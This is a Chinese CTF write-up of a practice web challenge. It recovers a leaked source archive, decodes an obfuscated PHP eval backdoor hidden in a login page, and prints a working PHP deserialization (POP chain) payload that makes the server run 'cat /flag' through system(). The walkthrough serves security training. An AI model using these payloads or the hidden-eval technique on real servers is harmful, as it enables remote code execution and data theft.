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「CTF」青少年CTF·雏形系统

news 2025/9/11 10:19:44

题目：

解题过程

尝试随便输入点什么，没有结果

使用dirsearch扫描网址目录

可以看到有扫描到一个www.zip，zip文件大概率有需要的东西

网址后加上www.zip就能对该文件进行下载

文件解压缩后如下

打开qsnctf.php，代码内容如下

<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Login Page</title><style>body {font-family: Arial, sans-serif;background-color: #f0f0f0;padding: 20px;}.container {max-width: 400px;margin: 0 auto;background-color: #fff;padding: 20px;border-radius: 5px;box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);}.alert {padding: 10px;background-color: #f8d7da;color: #721c24;border-radius: 5px;margin-bottom: 10px;}form {margin-bottom: 20px;}form input[type="text"],form input[type="password"],form input[type="submit"] {width: 100%;padding: 10px;margin-bottom: 10px;border: 1px solid #ccc;border-radius: 3px;}form input[type="submit"] {background-color: #007bff;color: #fff;border: none;cursor: pointer;}</style>
</head><body>
<div class="container"><h1>Welcome to the login testing page!</h1><hr><?php$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));?><form method="POST"><input type="text" name="username" placeholder="Username" required><input type="password" name="password" placeholder="Password" required><input type="submit" value="Login"></form></div>
</body></html>

前面部分看起来挺正常，但是后面有一大串乱七八糟的

<?php$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));?>

代码丢给AI，得到的回答是：这段 PHP 代码是经过混淆处理的恶意脚本，其目的是隐藏真实执行逻辑。

使用下面这个工具可以对PHP混淆进行解密

https://www.toolnb.com/tools/phpcarbylamine.html

得到解密后代码如下

<?phperror_reporting(0);class shi{public $next;public $pass;public function __toString(){$this->next::PLZ($this->pass);}}class wo{public $sex;public $age;public $intention;public function __destruct(){echo "Hi Try serialize Me!";$this->inspect();}function inspect(){if($this->sex=='boy'&&$this->age=='eighteen'){echo $this->intention;}echo "🙅18岁🈲";}}class Demo{public $a;static function __callStatic($action, $do){global $b;$b($do[0]);}}$b = $_POST['password'];$a = $_POST['username'];@unserialize($a);if (!isset($b)) {echo "==================PLZ Input Your Name!==================";}if($a=='admin'&&$b=="'k1fuhu's test demo"){echo("登录成功");}?>

解密后代码中

尝试输入用户名为admin，密码为'k1fuhu's test demo

登录成功，但是并没有flag

将解密出的代码投给AI，给出答案如下

貌似涉及pop链和php魔法方法（又是知识盲区了）

萌新入门pop链

按照AI给出的建议，可以使用POST请求

username=O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";s:4:"Demo";s:4:"pass";s:10:"phpinfo();";}}&password=eval

浏览器使用hackbar发生POST请求，还是没有得到flag

把框住的部分修改为9:"cat /flag"，后面的eval改为system

即修改后

username=O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";s:4:"Demo";s:4:"pass";s:9:"cat /flag";}}&password=system

再次运行就可以得到flag了